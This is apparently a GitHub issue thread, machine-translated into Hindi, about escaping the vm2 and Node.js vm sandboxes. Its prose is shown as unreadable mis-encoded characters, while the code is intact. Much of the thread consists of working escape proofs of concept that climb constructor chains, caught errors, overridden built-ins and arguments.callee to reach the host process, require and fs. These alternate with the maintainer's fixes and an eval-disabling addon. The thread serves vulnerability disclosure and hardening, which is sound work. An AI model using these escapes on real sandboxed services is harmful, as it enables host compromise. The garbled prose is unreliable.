VM рд╕реЗ рдмрдЪрдирд╛ рдФрд░ рдмрд╣реБрдд рдЕрд╡рд╛рдВрдЫрдиреАрдп рдХрд╛рд░реНрдп рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред
рдиреЛрдб рдХреЗ рдореВрд▓ рд╡реАрдПрдо рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд┐рд▓рд╛: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд 2 рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рд▓реЗрдВ:
const VM = require('vm2').VM;
const options = {
sandbox: {}
};
const vm = new VM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
рддрдерд╛ :
const NodeVM = require('vm2').NodeVM;
const options = {
console: 'off',
sandbox: {},
require: false,
requireExternal: false,
requireNative: [],
requireRoot : "./"
};
const vm = new NodeVM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рднреА рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдирд┐рдореНрди рд╣реЛрддрд╛ рд╣реИ:
{ dev: 16777220,
mode: 16877,
nlink: 14,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 476,
blocks: 0,
atime: 2016-06-15T22:20:05.000Z,
mtime: 2016-06-15T22:19:59.000Z,
ctime: 2016-06-15T22:19:59.000Z,
birthtime: 2016-06-09T01:02:12.000Z }
рдореИрдВрдиреЗ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ v4.4.5 рдФрд░ v6.2.1 рджреЛрдиреЛрдВ рдкрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рд╣реИ
рд░рд┐рдкреЛрд░реНрдЯ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдореИрдВ vm2 рдХреЗ рдПрдХ рдирдП рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдХрдбрд╝реА рдореЗрд╣рдирдд рдХрд░ рд░рд╣рд╛ рд╣реВрдВ рдФрд░ рдореИрдВ рдмрдирд╛рдП рдЧрдП рд╕рдВрджрд░реНрдн рдХреЗ рдЕрдВрджрд░ рд╕рдВрджрд░реНрдн рдмрдирд╛рдХрд░ рдЗрд╕ рд░рд┐рд╕рд╛рд╡ рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдерд╛ред рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдирд╣реАрдВ рд╣реИ рдХрд┐ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдХреЛрдИ рдФрд░ рддрд░реАрдХрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдЕрднреА рддрдХ рдХреЛрдИ рдирд╣реАрдВ рдорд┐рд▓рд╛ рд╣реИред
const context = vm.createContext(vm.runInNewContext("({})"));
const whatIsThis = vm.runInContext(`
const ForeignFunction = this.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`, context);
рдКрдкрд░ рдЪрдврд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рд▓реЗрдХрд┐рди рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ true
:
this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()
рдореИрдВ рдКрдкрд░ рдмрддрд╛рдП рдЧрдП рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд╕рд╛рде рдЦреЗрд▓ рд░рд╣рд╛ рд╣реВрдВред
рдкрд╣рд▓рд╛ рд▓рдХреНрд╖реНрдп рдореБрдЭреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рдЪреАрдЬреЛрдВ рдХреЛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреА рдЯрд┐рдкреНрдкрдгреА рдХреЛ рдЖрдЬрдорд╛рдирд╛ рдФрд░ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛ рдерд╛, рдЬреЛ рдореЗрд░реЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдЬрд░реВрд░реА рд╣реИред рдХреГрдкрдпрд╛ рдореБрдЭреЗ рд╕рд╣реА рдХрд░реЗрдВ рдЕрдЧрд░ рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗ рдХрд╛ рдпрд╣ рдЧрд▓рдд рддрд░реАрдХрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ рд╣реИ:
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
рдЖрдЙрдЯрдкреБрдЯ:
Hello World Inside
Hello World Outside
рдЖрдЧреЗ рдореИрдВрдиреЗ рдлрд┐рд░ рд╕реЗ VM рд╕реЗ рдмрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдФрд░ рд╕рдлрд▓ рд░рд╣рд╛:
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
const ForeignFunction = log.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
рдХреМрди рд╕рд╛ рдЖрдЙрдЯрдкреБрдЯ:
{ dev: 16777220,
mode: 16877,
nlink: 16,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 544,
blocks: 0,
atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside
рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рдЪреАрдЬреЛрдВ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ, рдЙрди рдЪреАрдЬреЛрдВ рдХреЗ рдмрд┐рдирд╛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рд╡рд╛рдкрд╕ рдЪрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред
рдПрдХ рддрд░реАрдХрд╛ рд╣реИ - рд╡рд╕реНрддреБрдУрдВ рдХреЛ рд╡реАрдПрдо рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рджреЛ рддрд░реАрдХреЗ рд╣реИрдВред рдЖрдк рдпрд╛ рддреЛ рдЙрди рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдбреАрдк рдХреНрд▓реЛрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЖрдк рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдореИрдВ рдирдП vm2 рдореЗрдВ рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реВрдБред
https://github.com/patriksimek/vm2/tree/v3
рдореИрдВрдиреЗ рдЖрдЧрд╛рдореА рд░рд┐рд▓реАрдЬ рдХреЛ рдЬреАрдПрдЪ рдкрд░ рдзрдХреЗрд▓ рджрд┐рдпрд╛ рд╣реИред рдпрд╣ рдЕрднреА рднреА рдкреНрд░рдЧрддрд┐ рдкрд░ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдХрд╛рдо рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
v3 рднреА рдЯреВрдЯрд╛ рд╣реБрдЖ рд╣реИ:
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
'log' : console.log,
},
});
vm.run(`
try {
log.__proto__ = null;
}
catch (e) {
const foreignFunction = e.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const fs = require("fs");
log(fs.statSync('.'));
}
`);
рд╡реНрд╣реЗрдХ-рдП-рдореЛрд▓ рдХрд╛ рдпрд╣ рдЦреЗрд▓ рдЦреЗрд▓рдирд╛ рд╡реНрдпрд░реНрде рд╣реИред
@parasyte рдзрдиреНрдпрд╡рд╛рдж, рдпрд╣ рдореЗрд░реЗ рдХреЛрдб рдореЗрдВ рдПрдХ рдЯрд╛рдЗрдкреЛ рдХреЗ рдХрд╛рд░рдг рд╣реБрдЖ рдерд╛ред рдпрд╣ рдЕрдм рдареАрдХ рд╣реЛ рдЧрдпрд╛ рд╣реИред
рдЕрдкрд╡рд╛рджреЛрдВ рдХреЛ рдкрдХрдбрд╝рдирд╛ рди рднреВрд▓реЗрдВред
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
boom() {
throw new Error();
},
},
});
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
boom();
}
catch (e) {
exploit(e);
}
`);
@parasyte рдзрдиреНрдпрд╡рд╛рдж, рддрдпред рдореИрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЖрдкрдХреЗ рдпреЛрдЧрджрд╛рди рдХреА рд╕рд░рд╛рд╣рдирд╛ рдХрд░рддрд╛ рд╣реВрдВред
+1
@patriksimek рдЕрдЪреНрдЫрд╛ рд╣реИ!
рдореЗрд░реЗ рдкрд╛рд╕ рд╡реИрд╢реНрд╡рд┐рдХ рджрд╛рдпрд░реЗ рдореЗрдВ рдХреБрдЫ рд╡рд╕реНрддреБрдУрдВ рддрдХ рднреА рдкрд╣реБрдВрдЪ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдореИрдВ рд╕рдВрджрд░реНрдн рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддрд╛ рд╣реВрдВред рдЗрд╕реЗ рд╡реАрдПрдо рдореЗрдВ рдХрд┐рд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Reflect.construct = exploit;
new Buffer([0]);
`);
@parasyte рд╢реАрд╢! рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╡реИрдХреНрдЯрд░ рдмрдЪреЗ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред
@keyosk рд╣рд╛рдБ, рд╢рд╛рдпрдж ...
BTW @patriksimek ES6
@parasyte рдлрд┐рд░ рд╕реЗ рдзрдиреНрдпрд╡рд╛рдж, рдпрд╣ рдХреБрдЫ рдФрд░ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЗ рд╕рд╛рде рддрдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдореБрдЭреЗ рдорд┐рд▓рд╛ред
@keyosk рдореБрдЭреЗ рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╣реИ рдХрд┐ рд╣рдо рдЙрди рд╕рднреА рдХреЛ рдвреВрдВрдв рд▓реЗрдВрдЧреЗред
рдФрд░ рдЗрд╕рдХрд╛ рдХреНрдпрд╛?
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Object.assign = function (o) {
return {
'get' : function (t, k) {
try {
t = o.get(t, k);
exploit(t);
}
catch (e) {}
return t;
},
};
};
new Buffer([0]);
`);
@parasyte рдЕрдЪреНрдЫрд╛ рдкрдХрдбрд╝, рдЗрд╕реЗ рдареАрдХ рдХрд┐рдпрд╛ред рдзрдиреНрдпрд╡рд╛рджред
рдЖрдкрдиреЗ рд╣рд╛рд▓ рд╣реА рдХреЗ рдкреИрдЪ рдореЗрдВ рдХреАрдбрд╝реЛрдВ рдХрд╛ рдПрдХ рдирдпрд╛ рдХреИрди рдЦреЛрд▓рд╛ рд╣реИред
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
new Buffer();
}
catch (e) {
exploit(e);
}
`);
рдзрд┐рдХреНрдХрд╛рд░ рд╣реИ, рдореИрдВ рдмрд╣реБрдд рджреЗрд░ рд╕реЗ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рдерд╛ рдФрд░ рдзреНрдпрд╛рди рдЦреЛ рджрд┐рдпрд╛ред рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдиреЛрдЯ рд▓рд┐рдЦреЗ, рдореБрдЦреНрдпрддрдГ рдореЗрд░реЗ рд▓рд┐рдПред :)
рдзрдиреНрдпрд╡рд╛рдж, рддрдпред
рдареАрдХ рд╣реИ, рдореИрдВрдиреЗ рдЕрдм рддрдХ NodeVM
рдореЗрдВ рднреА рдирд╣реАрдВ рджреЗрдЦрд╛ рд╣реИ! рд╕реНрдХреНрд░рдм рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╕рддрд╣ рдХреНрд╖реЗрддреНрд░ рд╣реИ, рдпрд╣рд╛рдБ...
рддреБрд░рдВрдд рдореИрдВрдиреЗ arguments.callee
рдорд╛рдзреНрдпрдо рд╕реЗ рднрд╛рдЧрдиреЗ рдкрд░ рдзреНрдпрд╛рди рджрд┐рдпрд╛:
'use strict';
const {NodeVM} = require('vm2');
const vm = new NodeVM();
vm.run(`
function getParent(o) {
return o.constructor.constructor('return this')();
}
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');
return o;
}
(function () {
exploit(getParent(getParent(arguments.callee.caller)));
})();
`);
рдЦреИрд░, рдпрд╣ рд╣рдореЗрдВ рдпрд╣рд╛рдВ рд╢реБрд░реБрдЖрддреА рдореБрджреНрджреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ - рдирдП рд╕рдВрджрд░реНрдн рдХреЗ рдЕрдВрджрд░ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╕рдВрджрд░реНрдн рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИред рд▓рдШреБ рд╕рдВрд╕реНрдХрд░рдг:
vm.run(`
global.constructor.constructor('return this')().constructor.constructor('return process')()
`);
рдЕрднреА рддрдХ рд╕рдорд╛рдзрд╛рди рдирд╣реАрдВ рдорд┐рд▓рд╛ рд╣реИред рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдореЗрдЬрдмрд╛рди рдХреЛ delete process.mainModule
рд╕рд╛рде рдкреИрдЪ рдХрд░рдирд╛ рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдпрдХреАрди рд╣реИ рдХрд┐ require
рддрдХ рдЪрдврд╝рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИред
рдПрдХ рд╕рдорд╛рдзрд╛рди рдорд┐рд▓рд╛ :-)
рдЕрд░реНрдШ! рддреБрдо рдкрдХрдбрд╝ рд░рд╣реЗ рд╣реЛ! ;) рдЖрдкрдХреЛ рдЗрд╕ рддрд░рд╣ рдЖрдЧреЗ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЭреЗ рдорд╛рдлреА рдорд╛рдВрдЧрдиреА рдЪрд╛рд╣рд┐рдПред рдХрд┐рд╕реА рднреА рджрд░реНрд╢рдХ рдХреЗ рд▓рд┐рдП рд╡рд╣рд╛рдБ; рдиреЛрдб.рдЬреЗрдПрд╕ рдореЗрдВ рд╡реАрдПрдо рд╕реНрдХреЛрдк рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛ рд╣реЛрд╕реНрдЯ рд╕реНрдХреЛрдк рдореЗрдВ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рд╣реИ (рдЬрд┐рд╕рд╕реЗ рдЖрдк рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдЪреЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рднреА рд╣реЛрд╕реНрдЯ рд╕реНрдХреЛрдк рдХрд╛ рд╕рдВрджрд░реНрдн рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
рдЕрдм рдЬрдм рдЖрдкрдиреЗ constructor
рд╕рдВрдкрддреНрддрд┐ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рддреЛ рдореБрдЭреЗ рдЗрд╕рдХреЗ рдиреАрдЪреЗ рдЬрд╛рдирд╛ рд╣реЛрдЧрд╛:
function getParent(o) {
return o.__proto__.constructor.constructor('return this')();
}
рдпрд╣рд╛рдВ рдХреБрдЫ рд╢реЛрдз рдХрд┐рдпрд╛ рдФрд░ рджреЗрдЦрд╛ рдХрд┐ global.__proto__ === host.Object.prototype
ред Object.setPrototypeOf(global, Object.prototype)
рд▓рдЧрд╛рдХрд░ рдореИрдВ рдХреНрд░рд┐рдХреЗрд▓ рдХреЛ рдмрдВрдж рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдерд╛ред
рдПрдХ рдмрд╛рд░ рдлрд┐рд░ рдзрдиреНрдпрд╡рд╛рджред
@parasyte @patriksimek рдХреНрдпрд╛ рдпрд╣ рдирд╡реАрдирддрдо npm рдкреНрд░рдХрд╛рд╢рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдмрдВрдж рд╣реИ?
рд╣рд╛рдВ, рд╣рдо рдЗрд╕реЗ рдЕрднреА рдХреЗ рд▓рд┐рдП рдмрдВрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдПрдлрдбрдмреНрд▓реНрдпреВрдЖрдИрдбрдмреНрд▓реНрдпреВ, рд╣рдордиреЗ рдЗрд╕реЗ рдХреЗрд╡рд▓ eval
рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдХреЗ рд╣рд▓ рдХрд┐рдпрд╛ ... рдФрд░ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рд╕рдВрджрд░реНрднреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рди рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд╡рдзрд╛рди рд░рд╣рдирд╛ред
#include <nan.h>
using v8::Local;
using v8::Context;
NAN_METHOD(enableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(true);
info.GetReturnValue().SetUndefined();
}
NAN_METHOD(disableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(false);
info.GetReturnValue().SetUndefined();
}
void Init(v8::Local<v8::Object> exports) {
exports->Set(Nan::New("enableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());
exports->Set(Nan::New("disableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}
NODE_MODULE(vm8, Init)
рдпрд╣ рднрд╛рдЧрдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ return process
рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрде рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдпрд╣ рд╡реИрдз eval()
рдФрд░ рдлрдВрдХреНрд╢рди рдЬреЗрдирд░реЗрдЯрд░ рдХрдВрд╕реНрдЯреНрд░рдХреНрдЯрд░ рдХреЙрд▓реНрд╕ рдХреЛ рднреА рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░ рджреЗрддрд╛ рд╣реИред (рдЗрди рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдмрд▓реНрдХрд┐ рд╕рдВрджрд┐рдЧреНрдз рд╣реИред)
@parasyte рд╕рд┐рд░реНрдл рд╕реНрдкрд╖реНрдЯрддрд╛ рдХреЗ рд▓рд┐рдП рдпрд╣ рдХреБрдЫ рдРрд╕рд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдХрд╣реАрдВ рдФрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ? рдпрд╛ рдХреБрдЫ рдиреЗ vm2 рдореЗрдВ рдпреЛрдЧрджрд╛рди рджрд┐рдпрд╛?
@keyscores рдЗрд╕реЗ рдХрд╣реАрдВ рдФрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рд╣рд╛рдБ, рдХрд╣реАрдВ рдФрд░ред рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рд╕рдорд╛рди рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдУрдкрди рд╕реЛрд░реНрд╕ рдЬрд╛рд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордВрдЬреВрд░реА рдХрд╛ рдЗрдВрддрдЬрд╛рд░ рд╣реИред рдЧрд▓рддрдлрд╣рдореА рдХреЗ рд▓рд┐рдП рдЦреЗрдж рд╣реИред рдореИрдВ рдЯрд┐рдкреНрдкрдгреА рдХрд░ рд░рд╣рд╛ рдерд╛ рдХрд┐ рдЙрд╕ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдореЗрдВ рдореВрд▓ рдореБрджреНрджреЗ рдХреЛ рдХреИрд╕реЗ рд╣рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ред
@parasyte рдХреЛрдИ рдЖрдкрдХреА рд░рд┐рд▓реАрдЬрд╝ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИ? рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреА рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдкреА рд╣реЛрдЧреАред рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рд╣рд░ рдХреЛрдИ рдЬреАрддрддрд╛ рд╣реИред
@keyscores рдХреНрд╖рдорд╛ рдХрд░реЗрдВ, рдЕрднреА рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рднреА рдирд╣реАрдВ рд╣реИред рд╕рдВрдЧрдарди рдореЗрдВ рдХреБрдЫ рдЦрд░рд╛рдм рдпреЛрдЬрдирд╛ рдХреЗ рдХрд╛рд░рдг рдУрдкрди рд╕реЛрд░реНрд╕ рдкреНрд░рдпрд╛рд╕ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреА рдЧрдИред :\
рдореБрдЭреЗ рдкрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рдореГрдд рдореБрджреНрджрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рдЗрд╕ рддрд░рд╣ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп рдиреЛрдб рдХреА vm
рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЬреНрдЮрд╛рдд рдмрд╛рдИрдкрд╛рд╕ рд╣реИрдВ:
javascript
vm.runInNewContext("arbitrary user input here", Object.create(null))
@parasyte : рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╕реЗ рдмрд╛рд╣рд░, рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдмрд╛рд╣рд░реА рдХреЛрдб рдХреЗ рд╢реАрд░реНрд╖ рдореЗрдВ global.eval = null;
рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ eval рдХреЛ рдЕрдХреНрд╖рдо рдХреНрдпреЛрдВ рди рдХрд░реЗрдВ?
@ рдПрд░рд┐рдХ 24 рдЕрдЪреНрдЫрд╛ рд╕рд╡рд╛рд▓! рдпрд╣ рдкреНрд░рд╕реНрддреБрддрд┐ рдмрддрд╛рддреА рд╣реИ рдХрд┐ рдХреНрдпреЛрдВ рдХреБрдЫ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ: https://vimeo.com/191757364 рдФрд░ рдпрд╣рд╛рдВ рд╕реНрд▓рд╛рдЗрдб рдбреЗрдХ рд╣реИ: https://goo.gl/KxiG73
рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ eval()
рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рд╣реИрдВ, рдФрд░ global.eval
